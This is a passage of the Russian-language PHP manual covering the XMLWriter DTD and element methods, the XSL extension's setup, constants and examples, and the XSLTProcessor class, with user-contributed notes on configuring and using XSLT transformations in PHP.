  • XMLWriter::endDtdElement() - Завершить текущий элемент DTD

User Contributed Notes

There are no user contributed notes for this page.


Записать полный тег DTD записи

  • « XMLWriter::writeDtdElement
  • XMLWriter::writeElement »
  • PHP Manual
  • XMLWriter
  • Записать полный тег DTD записи

XMLWriter::writeDtdEntity

xmlwriter_write_dtd_entity

(PHP 5 >= 5.2.1, PHP 7, PHP 8, PECL xmlwriter >= 0.1.0)

XMLWriter::writeDtdEntity -- xmlwriter_write_dtd_entity — Записать полный тег DTD записи

Описание

Объектно-ориентированный стиль

public XMLWriter::writeDtdEntity(
string $name,
string $content,
bool $isParam = false,
?string $publicId = null,
?string $systemId = null,
?string $notationData = null
): bool

Процедурный стиль

xmlwriter_write_dtd_entity(
XMLWriter $writer,
string $name,
string $content,
bool $isParam = false,
?string $publicId = null,
?string $systemId = null,
?string $notationData = null
): bool

Записывает полную DTD запись.

Список параметров

writer

Только для процедурных вызовов. Изменяемый экземпляр класса XMLWriter. Объект возвращается из вызова xmlwriter_open_uri() или xmlwriter_open_memory().

name

Имя записи.

content

Содержимое записи.

Возвращаемые значения

Возвращает true в случае успешного выполнения или false, если возникла ошибка.

Список изменений

Версия | Описание
8.0.0 | В параметре writer теперь ожидается экземпляр класса XMLWriter; раньше параметр ждал ресурс (resource).
8.0.0 | publicId, systemId и notationData теперь допускают значение null.

Смотрите также

  • XMLWriter::startDtdEntity() - Создать стартовую запись DTD
  • XMLWriter::endDtdEntity() - Завершить текущую запись DTD

User Contributed Notes

There are no user contributed notes for this page.


Записать полный тег элемента

  • « XMLWriter::writeDtdEntity
  • XMLWriter::writeElementNs »
  • PHP Manual
  • XMLWriter
  • Записать полный тег элемента

XMLWriter::writeElement

xmlwriter_write_element

(PHP 5 >= 5.1.2, PHP 7, PHP 8, PECL xmlwriter >= 0.1.0)

XMLWriter::writeElement -- xmlwriter_write_element — Записать полный тег элемента

Описание

Объектно-ориентированный стиль

public XMLWriter::writeElement(string $name, ?string $content = null): bool

Процедурный стиль

xmlwriter_write_element(XMLWriter $writer, string $name, ?string $content = null): bool

Записывает полный тег элемента.

Список параметров

writer

Только для процедурных вызовов. Изменяемый экземпляр класса XMLWriter. Объект возвращается из вызова xmlwriter_open_uri() или xmlwriter_open_memory().

name

Имя элемента.

content

Содержимое элемента.

Возвращаемые значения

Возвращает true в случае успешного выполнения или false, если возникла ошибка.

Список изменений

Версия | Описание
8.0.0 | В параметре writer теперь ожидается экземпляр класса XMLWriter; раньше параметр ждал ресурс (resource).

Смотрите также

  • XMLWriter::startElement() - Создать стартовый тег элемента
  • XMLWriter::endElement() - Завершить текущий элемент
  • XMLWriter::writeElementNs() - Записать полное пространство имён тега элемента

User Contributed Notes

There are no user contributed notes for this page.


Записать полное пространство имён тега элемента

  • « XMLWriter::writeElement
  • XMLWriter::writePi »
  • PHP Manual
  • XMLWriter
  • Записать полное пространство имён тега элемента

XMLWriter::writeElementNs

xmlwriter_write_element_ns

(PHP 5 >= 5.1.2, PHP 7, PHP 8, PECL xmlwriter >= 0.1.0)

XMLWriter::writeElementNs -- xmlwriter_write_element_ns — Записать полное пространство имён тега элемента

Описание

Объектно-ориентированный стиль

public XMLWriter::writeElementNs(
?string $prefix,
string $name,
?string $namespace,
?string $content = null
): bool

Процедурный стиль

xmlwriter_write_element_ns(
XMLWriter $writer,
?string $prefix,
string $name,
?string $namespace,
?string $content = null
): bool

Записывает полное пространство имён тега элемента.

Список параметров

writer

Только для процедурных вызовов. Изменяемый экземпляр класса XMLWriter. Объект возвращается из вызова xmlwriter_open_uri() или xmlwriter_open_memory().

prefix

Префикс пространства имён. Если prefix равен null, пространство имён будет опущено.

name

Имя элемента.

namespace

URI пространства имён. Если namespace равен null, объявление пространства имён будет опущено.

content

Содержимое элемента.

Возвращаемые значения

Возвращает true в случае успешного выполнения или false, если возникла ошибка.

Список изменений

Версия | Описание
8.0.0 | В параметре writer теперь ожидается экземпляр класса XMLWriter; раньше параметр ждал ресурс (resource).

Смотрите также

  • XMLWriter::startElementNs() - Создать стартовый тег элемента пространства имён
  • XMLWriter::endElement() - Завершить текущий элемент
  • XMLWriter::writeElement() - Записать полный тег элемента

User Contributed Notes

There are no user contributed notes for this page.


Записать инструкцию обработки (PI)

  • « XMLWriter::writeElementNs
  • XMLWriter::writeRaw »
  • PHP Manual
  • XMLWriter
  • Записать инструкцию обработки (PI)

XMLWriter::writePi

xmlwriter_write_pi

(PHP 5 >= 5.1.2, PHP 7, PHP 8, PECL xmlwriter >= 0.1.0)

XMLWriter::writePi -- xmlwriter_write_pi — Записать инструкцию обработки (PI)

Описание

Объектно-ориентированный стиль

public XMLWriter::writePi(string $target, string $content): bool

Процедурный стиль

xmlwriter_write_pi(XMLWriter $writer, string $target, string $content): bool

Записывает инструкцию обработки.

Список параметров

writer

Только для процедурных вызовов. Изменяемый экземпляр класса XMLWriter. Объект возвращается из вызова xmlwriter_open_uri() или xmlwriter_open_memory().

target

Цель инструкции обработки.

content

Содержимое инструкции обработки.

Возвращаемые значения

Возвращает true в случае успешного выполнения или false, если возникла ошибка.

Список изменений

Версия | Описание
8.0.0 | В параметре writer теперь ожидается экземпляр класса XMLWriter; раньше параметр ждал ресурс (resource).

Смотрите также

  • XMLWriter::startPi() - Создать стартовый тег PI
  • XMLWriter::endPi() - Завершить текущую инструкцию обработки (PI)

User Contributed Notes

There are no user contributed notes for this page.


Записать необработанный XML-текст

  • « XMLWriter::writePi
  • XSL »
  • PHP Manual
  • XMLWriter
  • Записать необработанный XML-текст

XMLWriter::writeRaw

xmlwriter_write_raw

(PHP 5 >= 5.2.0, PHP 7, PHP 8, PECL xmlwriter >= 2.0.4)

XMLWriter::writeRaw -- xmlwriter_write_raw — Записать необработанный XML-текст

Описание

Объектно-ориентированный стиль

public XMLWriter::writeRaw(string $content): bool

Процедурный стиль

xmlwriter_write_raw(XMLWriter $writer, string $content): bool

Записывает необработанный XML-текст.

Список параметров

writer

Только для процедурных вызовов. Изменяемый экземпляр класса XMLWriter. Объект возвращается из вызова xmlwriter_open_uri() или xmlwriter_open_memory().

content

Текстовая строка для записи.

Возвращаемые значения

Возвращает true в случае успешного выполнения или false, если возникла ошибка.

Список изменений

Версия | Описание
8.0.0 | В параметре writer теперь ожидается экземпляр класса XMLWriter; раньше параметр ждал ресурс (resource).

Смотрите также

  • XMLWriter::text() - Записать текст

User Contributed Notes

There are no user contributed notes for this page.


XSL

  • Введение
  • Установка и настройка
    • Требования
    • Установка
    • Настройка во время выполнения
    • Типы ресурсов
  • Предопределённые константы
  • Примеры
    • Файлы collection.xml и collection.xsl для примеров
    • Обработка ошибок с помощью функций обработки ошибок libxml
  • XSLTProcessor — Класс XSLTProcessor
    • XSLTProcessor::__construct — Создаёт новый экземпляр класса XSLTProcessor
    • XSLTProcessor::getParameter — Возвращает значение параметра
    • XSLTProcessor::getSecurityPrefs — Получить настройки безопасности
    • XSLTProcessor::hasExsltSupport — Определяет имеет ли PHP поддержку EXSLT
    • XSLTProcessor::importStylesheet — Импортирует таблицу стилей
    • XSLTProcessor::registerPHPFunctions — Включает способность функций PHP работать в качестве функций XSLT
    • XSLTProcessor::removeParameter — Удаляет параметр
    • XSLTProcessor::setParameter — Устанавливает значение параметра
    • XSLTProcessor::setProfiling — Устанавливает файл для профилирования
    • XSLTProcessor::setSecurityPrefs — Установить настройки безопасности
    • XSLTProcessor::transformToDoc — Преобразовывает в документ
    • XSLTProcessor::transformToUri — Преобразовывает в URI
    • XSLTProcessor::transformToXml — Преобразовывает в XML

User Contributed Notes

Jaroslaw Zabiello 23-Jun-2011 07:10
This is more usefull, no files needed, it just takes XML and XSL strings as input parameters and returns transformed XML

<?php
/**
 * @param  $xml
 * @param  $xsl
 * @return string xml
 */
function transform($xml, $xsl) {
   $xslt = new XSLTProcessor();
   $xslt->importStylesheet(new  SimpleXMLElement($xsl));
   return $xslt->transformToXml(new SimpleXMLElement($xml));
}
?>
sudhir dot vis at gmail dot com 25-Apr-2009 11:40
Here is a simplest way to transform the xml from php

<?php
$sXml  = "<xml>";
$sXml .= "<sudhir>hello sudhir</sudhir>";
$sXml .= "</xml>";

# LOAD XML FILE
$XML = new DOMDocument();
$XML->loadXML( $sXml );

# START XSLT
$xslt = new XSLTProcessor();
$XSL = new DOMDocument();
$XSL->load( 'xsl/index.xsl', LIBXML_NOCDATA);
$xslt->importStylesheet( $XSL );
#PRINT
print $xslt->transformToXML( $XML );
?>
allens at nospam dot com 19-Apr-2009 08:45
Problem:
Getting Netbeans error message:
Fatal error: Class 'xsltprocessor' not found

Solution:
place copy of php.ini in the c:\windows directory!

by default the php.ini file has xsl disabled......search for the line

;extension=php_xsl.dll

to enable XSL....remove ; so that the extension gets included

Then if Netbeans gives you the following message:
PHP Startup: Unable to load dynamic library './php_xsl.dll'

then you need to run the php-5.2.9-1-win32-installer.msi again
this time selecting the XSL extension!
visual77 at gmail dot com 20-Sep-2008 04:35
The XSLTProcessor is kind of a pain to use to generate an entire website, mostly due to the tedious process of building an XML tree through DOMDocument's createElement and appendChild functions.

To get an entire website out of nothing but XML and XSL (which really is a superior system to just echoing out the HTML), you could use an object that does all the PHP data structure to XML data tree conversion, and combines with the XSLTProcessor for rendering. A good object like this is DOMi, which you can find at http://domi.sourceforge.net.
emilise dot victor at gmail dot com 12-Mar-2008 08:10
Here is a way to get an output without using <xml:message> : use the var_dump function of php :
- First bind the php functions with
<? $xslt->registerPHPFunctions() ?>
and xmlns:php="http://php.net/xsl" in the stylesheet
- Then you can call the var_dump function like this : <xsl:variable name="a" select="php:function('var_dump', $return)" />

I couldn't find a way to call the function and have it really print the result without creating a variable, but well, it's just for debugging...
shangxiao at php dot net 10-Jan-2008 05:38
When using the DOM api to add xsl commands to your stylesheet dynamically, be sure to use createElementNS() rather than createElement() otherwise the XSLTProcessor will not recognise these DOM nodes.

Eg:
$xsl->createElementNS('http://www.w3.org/1999/XSL/Transform', 'xsl:element');
pb at online-magazin dot at 11-Oct-2007 03:13
Calling the Saxon XSLT Processor is a very esay task to do!

You just need to do some simple task

1. Install the JavaBridge for PHP

2. Download the freeware (B) Saxon distribution from http://saxon.sourceforge.net/

3. Put the jar files in a directory whre you have access

4. Use this sample of code

// Directory where the jar files are located
define("SAXON_DIR", $_SERVER['DOCUMENT_ROOT']."/saxonb8.9.0/");

// include the jars
java_require(SAXON_DIR."saxon8.jar;".SAXON_DIR."saxon8-dom.jar");

$sXslFile = $_SERVER['DOCUMENT_ROOT']."/myfirst.xsl"; // The xsl file
$sXmlFile = $_SERVER['DOCUMENT_ROOT']."/myfirst.xml"; // The xml file

try
{
  $oXslSource = new java("javax.xml.transform.stream.StreamSource", "file://".$sXslFile);
  $oXmlSource = new java("javax.xml.transform.stream.StreamSource", "file://".$sXmlFile);

  $oFeatureKeys = new JavaClass("net.sf.saxon.FeatureKeys");

  // Create the Factory
  $oTransformerFactory = new java("net.sf.saxon.TransformerFactoryImpl");

  //Disable source document validation
  $oTransformerFactory->setAttribute($oFeatureKeys->SCHEMA_VALIDATION, 4);

  // Create a new Transformer
  $oTransFormer = $oTransformerFactory->newTransformer($oXslSource);

  // Create a StreamResult to store the output
  $oResultStringWriter = new java("java.io.StringWriter");
  $oResultStream = new java("javax.xml.transform.stream.StreamResult", $oResultStringWriter);

  // Transform
  $oTransFormer->transform($oXmlSource, $oResultStream);

  // Echo the output from the transformation
  echo java_cast($oResultStringWriter->toString(), "string");

}
catch(JavaException $e){
   echo java_cast($e->getCause()->toString(), "string");
   exit;
}

5. Enjoy

This is working quite well.
Vasil Rangelov 21-Aug-2007 07:31
@basslines at gmail dot com
"
As far as I can tell, the most recent stable versions of LibXML/LibXSLT/LibEXSLT do NOT support xPath 2.0 / XSLT 2.0 transformations. The only support for XSLT 2.0 that I've found is in Java's SAXON processor (http://saxon.sourceforge.net/).
"

Using SAXON or AltovaXML by using their JAVA bindings could prove to be a difficult task to do, and .NET seems to be buggy (at least for me). However, I've made a class that uses SAXON or AltovaXML from the command line. AltovaXML could also be used with COM, provided it's registered as a COM component.

You can download my wrapper from:
http://xslt2processor.sourceforge.net/

I still need to implement a more graceful error handling (the way the XSL extension uses the Libxml functions), and once the bug
http://bugs.php.net/bug.php?id=41577
is fixed, I'll implement the .NET interfaces too.

I'll appreciate any feedback.
geoffreyj dot lee at gmail dot com 01-Jul-2007 11:02
Here are a couple useful tips for those who care about cross-browser compatibility.

Given:

<script type="text/javascript" src="test.js"></script>

XSLT will automatically condense it to:

<script type="text/javascript" src="test.js"/>

While this is good, Internet Explorer breaks on empty script tags. So, the simple solution is to add something to prevent an empty tag. For example:

<script type="text/javascript" src="test.js"><xsl:comment/></script>

Produces:

<script type="text/javascript" src="test.js">

</script>

------------------------

Also, here is a way to use IE's conditional comments:

<xsl:comment>[if gte IE 5]&#62;
&#60;link rel="stylesheet" type="text/css" href="ie.css" /&#62;
&#60;![endif]</xsl:comment>

Produces:

<!--[if gte IE 5]>
<link rel="stylesheet" type="text/css" href="ie.css" />
<![endif]-->

This will let you isolate IE-related CSS without needing to use ugly CSS hacks.
gabriel dot birke at web dot de 10-May-2007 03:19
Each <xsl:message> tag will generate a PHP error (level Warning). If you want to collect and pretty-print them, you could use a custom error handling function that collects the warnings in a static variable.
mnot at mnot dot net 08-May-2007 08:59
You can set an HTTP proxy for the XSLT document() function to use (as well as DTD external references) by setting http_proxy in the environment.

E.g., in Apache configuration;

SetEnv http_proxy http://127.0.0.1:3128/
Ryan D. Hatch 02-May-2007 01:14
Looking for php_xsl.dll?

If you installed on Windows using the MSI Installer - you may not have it.

1.) Add/Remove Programs and Change PHP Installation.  Select XSL Extension.

OR

2.) Download complete .zip file of PHP and you can copy php_xsl.dll into your PHP/etc directory.

Just a note.

Ryan D. Hatch
adrian at foeder dot de 14-Sep-2006 02:45
If you want to use the document()-function inside your XSL stylesheet, please note that you have to use an absolute path there.
Important for windows users: the absolute path *has* to be with forward slashes, so subsitute windows-path-backslashes to forward slashes before you transform the document.

Examples:
This will NOT work:
<xsl:copy-of select="document('test.xml')" />

This will also NOT work:
<xsl:copy-of select="document('c:\temp\test.xml')" />

But this WILL work:
<xsl:copy-of select="document('c:/temp/test.xml')" />
27-Apr-2006 06:26
Enable libxslt library, PHP 5, under windows:

To Enable:
In your php.ini
1. Uncomment ;extension=php_xsl.dll
2. Change extension_dir to
     extension_dir = "./ext"

To Confirm:
1. In a test.php page:
<?php phpinfo() ?>
2. Run test.php
3. Search for "libxslt Version". It should return a version number in a XSL headed table.

Further info Google
"Configuring and Testing PHP Servers for XSL Support"
Fabrice Bonny 30-Mar-2006 01:34
In response to how to use entities from DTD (internal or external) in XSLT. It works if you do this way:

$xsl = new DOMDocument;
$xsl->resolveExternals = TRUE;
$xsl->substituteEntities = TRUE;
$xsl->load(...);

Hope this helps! ;-)
basslines at gmail dot com 29-Mar-2006 10:07
As far as I can tell, the most recent stable versions of LibXML/LibXSLT/LibEXSLT do NOT support xPath 2.0 / XSLT 2.0 transformations. The only support for XSLT 2.0 that I've found is in Java's SAXON processor (http://saxon.sourceforge.net/).
17-Mar-2006 09:14
In response to appletalk at gmail dot com
<snip>
As many of you may have noticed, DOM parser gives errors if the '&nbsp;' entity is present. The E_WARN message looks like:
Warning: DOMDocument::load() [function.load]: Entity 'nbsp' not defined in ...
There're many ways to solve this:
.....
b) Defining &nbsp;
At the top of the document, after the <?xml?> definition, add:
   <!DOCTYPE xsl:stylesheet [
   <!ENTITY nbsp "&#160;" >
   ]>
.......</snip>
Just wanted to let people know that option b does NOT work. I'm not sure why this isn't implemented correctly, but it isn't, so don't waste your time. It's unfortunate the DOMXSL transform is so much less capable than the old xslt function.
venkatesh at lammersmedical dot com 01-Mar-2005 06:17
Here is function to read from the XSL sheet which is saved as a text file.

function ReadExcelSheet($filename){
             $test=file($filename);
             $ar1=str_replace("~[^\t]*\t","\t",$test);
             $ar2=str_replace("~","",$ar1);
             $ar=str_replace("?","",$ar2);
             $temp=array();
             for ($i=0; $i<count($ar); $i++) {
                       if((substr($ar[$i],0,1)!= "\t")){
                           if($ar[$i]!=="\r\n"){
                           array_push($temp,$ar[$i]);
            }
        }
    }
    $name=split("\t",$temp[0]);
    $ExcelList=array();
    for($i=1;$i<count($temp);$i++){
        $split_result=split("\t",$temp[$i]);
        array_push($ExcelList,$split_result);
    }
    $result=insert_into_array($ExcelList,0,$name);
    return($result);
}
appletalk at gmail dot com 04-Feb-2005 10:32
As many of you may have noticed, DOM parser gives errors if the '&nbsp;' entity is present. The E_WARN message looks like:

Warning: DOMDocument::load() [function.load]: Entity 'nbsp' not defined in ...

There're many ways to solve this:
a) The hard way
<xsl:text disable-output-escaping="yes"> &amp;nbsp;</xsl:text>

b) Defining &nbsp;
At the top of the document, after the <?xml?> definition, add:
   <!DOCTYPE xsl:stylesheet [
    <!ENTITY nbsp "&#160;" >
    ]>

c) External Doctype
Just in case you want need other HTML entities, you can call an external doctype with the proper definitions

<!DOCTYPE page SYSTEM "http://gv.ca/dtd/character-entities.dtd">

Of course, you can download the file and place it in your server.
kekoajs at yahoo dot com 22-Dec-2004 02:07
Wow, I spent the better part of a day looking for how one could pass an entire test expression to an XSL stylesheet.  It seems that the XSLT 1.0 specification doesn't support it but PHP 5 (and maybe 4s) inclusion of  EXSLT allows one to do exactly that...

simply add these lines...

xmlns:dyn="http://exslt.org/dynamic"
extension-element-prefixes="dyn"

to the <xsl:stylesheet> element and when using an expression stored in a <xsl:param> element write

<xsl:if test="dyn:evaluate($param-name)">

and viola!  you can now use expressions generated externally in your stylesheet!

EXSLT adds many useful functions that can be integrated into your XSL in a similar fashion.  You can go to http://exslt.org/ to learn more...
rd at jerntorget dot se 24-Sep-2004 03:58
If you get the following warning message:

xsltApplyOneTemplate: _if_ was not compiled in (if can for example be apply-template or some other method), i've found that the problem seems to be an &nbsp; directly before the <xsl:if> or what ever is causing the problem.

One way to get thru the problem is to use span tags around &nbsp;  like : <span>&nbsp;</span>
jw at jwscripts dot com 06-Sep-2004 02:23
The following code is a wrapper to support calls to some of the old xslt_* functions:

<?

if (PHP_VERSION >= 5) {
    // Emulate the old xslt library functions
    function xslt_create() {
        return new XsltProcessor();
    }

    function xslt_process($xsltproc,
                          $xml_arg,
                          $xsl_arg,
                          $xslcontainer = null,
                          $args = null,
                          $params = null) {
        // Start with preparing the arguments
        $xml_arg = str_replace('arg:', '', $xml_arg);
        $xsl_arg = str_replace('arg:', '', $xsl_arg);

        // Create instances of the DomDocument class
        $xml = new DomDocument;
        $xsl = new DomDocument;

        // Load the xml document and the xsl template
        $xml->loadXML($args[$xml_arg]);
        $xsl->loadXML($args[$xsl_arg]);

        // Load the xsl template
        $xsltproc->importStyleSheet($xsl);

        // Set parameters when defined
        if ($params) {
            foreach ($params as $param => $value) {
                $xsltproc->setParameter("", $param, $value);
            }
        }

        // Start the transformation
        $processed = $xsltproc->transformToXML($xml);

        // Put the result in a file when specified
        if ($xslcontainer) {
            return @file_put_contents($xslcontainer, $processed);
        } else {
            return $processed;
        }

    }

    function xslt_free($xsltproc) {
        unset($xsltproc);
    }
}

$arguments = array(
    '/_xml' => file_get_contents("newxslt.xml"),
    '/_xsl' => file_get_contents("newxslt.xslt")
);

$xsltproc = xslt_create();
$html = xslt_process(
    $xsltproc,
    'arg:/_xml',
    'arg:/_xsl',
    null,
    $arguments
);

xslt_free($xsltproc);
print $html;

?>
rojaro 23-Jun-2004 07:43
If you're want to use XML from a variable e.g. $xmldata but the XSLT-StyleSheet from a file, you can do it also the following way:

<?php
$xslt = new xsltProcessor;
$xslt->importStyleSheet(DomDocument::load('filename.xsl'));
print $xslt->transformToXML(DomDocument::loadXML($xmldata));
?>


Введение

Модуль XSL реализует XSL стандарты, поведение » XSLT трансформации при использовании » библиотеки libxslt

User Contributed Notes

There are no user contributed notes for this page.


Требования

Для корректной работы этого модуля необходим PHP-модуль libxml. Это означает, что также необходима передача опции --with-libxml, или до PHP 7.4 --enable-libxml, хотя неявно это уже сделано, так как поддержка libxml по умолчанию включена.

Модуль использует libxslt, который может быть найден на » http://xmlsoft.org/XSLT/. Необходима версия libxslt 1.1.0, или выше.

User Contributed Notes

There are no user contributed notes for this page.


Установка

PHP содержит модуль XSL по умолчанию. Модуль может быть активирован добавлением аргумента --with-xsl[=DIR] в строку конфигурации (DIR - путь установки libxslt).

User Contributed Notes

There are no user contributed notes for this page.


Предопределённые константы

Модуль определяет перечисленные ниже константы и открывает к ним доступ только тогда, когда модуль либо собрали в PHP, либо динамически загрузили во время исполнения кода.

XSL_CLONE_AUTO (int)
XSL_CLONE_NEVER (int)
XSL_CLONE_ALWAYS (int)
LIBXSLT_VERSION (int)
версия libxslt формата 10117.
LIBXSLT_DOTTED_VERSION (string)
версия libxslt формата 1.1.17.
LIBEXSLT_VERSION (int)
версия libexslt формата 813.
LIBEXSLT_DOTTED_VERSION (string)
версия libexslt формата 1.1.17.
XSL_SECPREF_NONE (int)
Отключение всех ограничений безопасности.
XSL_SECPREF_READ_FILE (int)
Запрещает чтение файлов.
XSL_SECPREF_WRITE_FILE (int)
Запрещает запись файла.
XSL_SECPREF_CREATE_DIRECTORY (int)
Запрещает создание каталогов.
XSL_SECPREF_READ_NETWORK (int)
Запрещает чтение сетевых файлов.
XSL_SECPREF_WRITE_NETWORK (int)
Запрещает запись сетевых файлов.
XSL_SECPREF_DEFAULT (int)
Запрещает все виды доступа на запись, т.е. битовая маска XSL_SECPREF_WRITE_NETWORK | XSL_SECPREF_CREATE_DIRECTORY | XSL_SECPREF_WRITE_FILE.

User Contributed Notes

There are no user contributed notes for this page.


Примеры

Содержание

  • Файлы collection.xml и collection.xsl для примеров
  • Обработка ошибок с помощью функций обработки ошибок libxml

User Contributed Notes

There are no user contributed notes for this page.


Файлы collection.xml и collection.xsl для примеров

Многие примеры в этом разделе документации содержат оба файла: XML и XSL. Мы будем использовать collection.xml и collection.xsl со следующим содержанием:

Пример #1 collection.xml

<collection>
 <cd>
  <title>Fight for your mind</title>
  <artist>Ben Harper</artist>
  <year>1995</year>
 </cd>
 <cd>
  <title>Electric Ladyland</title>
  <artist>Jimi Hendrix</artist>
  <year>1997</year>
 </cd>
</collection>

Пример #2 collection.xsl

<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
 <xsl:param name="owner" select="'Nicolas Eliaszewicz'"/>
 <xsl:output method="html" encoding="iso-8859-1" indent="no"/>
 <xsl:template match="collection">
  Hey! Welcome to <xsl:value-of select="$owner"/>'s sweet CD collection!
  <xsl:apply-templates/>
 </xsl:template>
 <xsl:template match="cd">
  <h1><xsl:value-of select="title"/></h1>
  <h2>by <xsl:value-of select="artist"/> - <xsl:value-of select="year"/></h2>
  <hr />
 </xsl:template>
</xsl:stylesheet>

User Contributed Notes

There are no user contributed notes for this page.


Обработка ошибок с помощью функций обработки ошибок libxml

libxml предоставляет ряд функций для обработки ошибок, которые могут использоваться для отлова и работы с ошибками при обработке XSLT.

Пример #1 fruits.xml

Правильный XML.

<fruits>
 <fruit>Apple</fruit>
 <fruit>Banana</fruit>
 <fruit>Cherry</fruit>
</fruits>

Пример #2 fruits.xsl

Содержит неверное "select" выражение.

<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
 <xsl:output method="html" encoding="utf-8" indent="no"/>
 <xsl:template match="fruits">
  <ul>
   <xsl:apply-templates/>
  </ul>
 </xsl:template>
 <xsl:template match="fruit">
  <li><xsl:value-of select="THIS IS A DELIBERATE ERROR!"/></li>
 </xsl:template>
</xsl:stylesheet>

Пример #3 Сбор и вывод ошибок

Пример ниже отлавливает и отображает ошибки libxml, появляющиеся при вызове метода XSLTProcessor::importStyleSheet() со стилем содержащим ошибки.

<?php

$xmldoc = new DOMDocument();
$xsldoc = new DOMDocument();
$xsl = new XSLTProcessor();

$xmldoc->loadXML('fruits.xml');
$xsldoc->loadXML('fruits.xsl');

libxml_use_internal_errors(true);
$result = $xsl->importStyleSheet($xsldoc);
if (!$result) {
foreach (libxml_get_errors() as $error) {
echo "Libxml error: {$error->message}\n";
}
}
libxml_use_internal_errors(false);

if ($result) {
echo $xsl->transformToXML($xmldoc);
}

?>

Вывод приведённого примера будет похож на:

Libxml error: Invalid expression

Libxml error: compilation error: file fruits.xsl line 9 element value-of
Libxml error: xsl:value-of : could not compile select expression 'THIS IS A DELIBERATE ERROR!'

User Contributed Notes

There are no user contributed notes for this page.


Класс XSLTProcessor

(PHP 5, PHP 7, PHP 8)

Введение

Обзор классов

class XSLTProcessor {
/* Методы */
public getParameter(string $namespace, string $name): string|false
public getSecurityPrefs(): int
public hasExsltSupport(): bool
public importStylesheet(object $stylesheet): bool
public registerPHPFunctions(array|string|null $functions = null): void
public removeParameter(string $namespace, string $name): bool
public setParameter(string $namespace, string $name, string $value): bool
public setParameter(string $namespace, array $options): bool
public setProfiling(?string $filename): true
public setSecurityPrefs(int $preferences): int
public transformToDoc(object $document, ?string $returnClass = null): object|false
public transformToUri(object $document, string $uri): int
public transformToXml(object $document): string|null|false
}

Содержание

  • XSLTProcessor::__construct — Создаёт новый экземпляр класса XSLTProcessor
  • XSLTProcessor::getParameter — Возвращает значение параметра
  • XSLTProcessor::getSecurityPrefs — Получить настройки безопасности
  • XSLTProcessor::hasExsltSupport — Определяет имеет ли PHP поддержку EXSLT
  • XSLTProcessor::importStylesheet — Импортирует таблицу стилей
  • XSLTProcessor::registerPHPFunctions — Включает способность функций PHP работать в качестве функций XSLT
  • XSLTProcessor::removeParameter — Удаляет параметр
  • XSLTProcessor::setParameter — Устанавливает значение параметра
  • XSLTProcessor::setProfiling — Устанавливает файл для профилирования
  • XSLTProcessor::setSecurityPrefs — Установить настройки безопасности
  • XSLTProcessor::transformToDoc — Преобразовывает в документ
  • XSLTProcessor::transformToUri — Преобразовывает в URI
  • XSLTProcessor::transformToXml — Преобразовывает в XML

User Contributed Notes

joandres52725lm at gmail dot com 29-Apr-2020 07:29
[Update] PHP version /.3.15 and Windows Uncomment `extension=xsl` to activate it in your php.ini. Then restart your webserver to refresh php.
tschallacka 29-Feb-2016 09:58
uncomment extension=php_xsl.dll on windows to activate it in your php.ini. Then restart your webserver to refresh php.
flavius 13-Nov-2015 05:49
It requires PHP5 XSL extension. On linux:

sudo apt-get install php5-xsl


Создаёт новый экземпляр класса XSLTProcessor

  • « XSLTProcessor
  • XSLTProcessor::getParameter »
  • PHP Manual
  • XSLTProcessor
  • Создаёт новый экземпляр класса XSLTProcessor

XSLTProcessor::__construct

(PHP 5, PHP 7, PHP 8)

XSLTProcessor::__construct — Создаёт новый экземпляр класса XSLTProcessor

Описание

XSLTProcessor::__construct()

Создаёт новый экземпляр класса XSLTProcessor.

Список параметров

У этой функции нет параметров.

Примеры

Пример #1 Создаёт XSLTProcessor

<?php

$xsldoc = new DOMDocument();
$xsldoc->load($xsl_filename);

$xmldoc = new DOMDocument();
$xmldoc->load($xml_filename);

$xsl = new XSLTProcessor();
$xsl->importStyleSheet($xsldoc);
echo $xsl->transformToXML($xmldoc);

?>

User Contributed Notes

There are no user contributed notes for this page.


Возвращает значение параметра

  • « XSLTProcessor::__construct
  • XSLTProcessor::getSecurityPrefs »
  • PHP Manual
  • XSLTProcessor
  • Возвращает значение параметра

XSLTProcessor::getParameter

(PHP 5, PHP 7, PHP 8)

XSLTProcessor::getParameter — Возвращает значение параметра

Описание

public XSLTProcessor::getParameter(string $namespace, string $name): string|false

Возвращает параметр, если он раньше установлен с помощью XSLTProcessor::setParameter().

Список параметров

namespace

Пространство имён URI параметра XSLT.

name

Локальное имя параметра XSLT.

Возвращаемые значения

Значение параметра (в виде строки), или false, если оно не установлено.

Смотрите также

  • XSLTProcessor::setParameter() - Устанавливает значение параметра
  • XSLTProcessor::removeParameter() - Удаляет параметр

User Contributed Notes

There are no user contributed notes for this page.


Получить настройки безопасности

  • « XSLTProcessor::getParameter
  • XSLTProcessor::hasExsltSupport »
  • PHP Manual
  • XSLTProcessor
  • Получить настройки безопасности

XSLTProcessor::getSecurityPrefs

(PHP >= 5.4.0, PHP 7, PHP 8)

XSLTProcessor::getSecurityPrefs — Получить настройки безопасности

Описание

public XSLTProcessor::getSecurityPrefs(): int

Получает настройки безопасности.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Битовая маска, состоящая из XSL_SECPREF_READ_FILE, XSL_SECPREF_WRITE_FILE, XSL_SECPREF_CREATE_DIRECTORY, XSL_SECPREF_READ_NETWORK, XSL_SECPREF_WRITE_NETWORK.

User Contributed Notes

There are no user contributed notes for this page.


Определяет имеет ли PHP поддержку EXSLT

  • « XSLTProcessor::getSecurityPrefs
  • XSLTProcessor::importStylesheet »
  • PHP Manual
  • XSLTProcessor
  • Определяет имеет ли PHP поддержку EXSLT

XSLTProcessor::hasExsltSupport

(PHP 5 >= 5.0.4, PHP 7, PHP 8)

XSLTProcessor::hasExsltSupport — Определяет имеет ли PHP поддержку EXSLT

Описание

public XSLTProcessor::hasExsltSupport(): bool

Этот метод определяет был ли PHP сконфигурирован с » библиотекой EXSLT.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает true в случае успешного выполнения или false, если возникла ошибка.

Примеры

Пример #1 Проверка поддержки EXSLT

<?php

$proc = new XSLTProcessor;
if (!$proc->hasExsltSupport()) {
die('EXSLT support not available');
}

// выполнение некоторых действий EXSLT ..

?>

User Contributed Notes

There are no user contributed notes for this page.


Импортирует таблицу стилей

  • « XSLTProcessor::hasExsltSupport
  • XSLTProcessor::registerPHPFunctions »
  • PHP Manual
  • XSLTProcessor
  • Импортирует таблицу стилей

XSLTProcessor::importStylesheet

(PHP 5, PHP 7, PHP 8)

XSLTProcessor::importStylesheet — Импортирует таблицу стилей

Описание

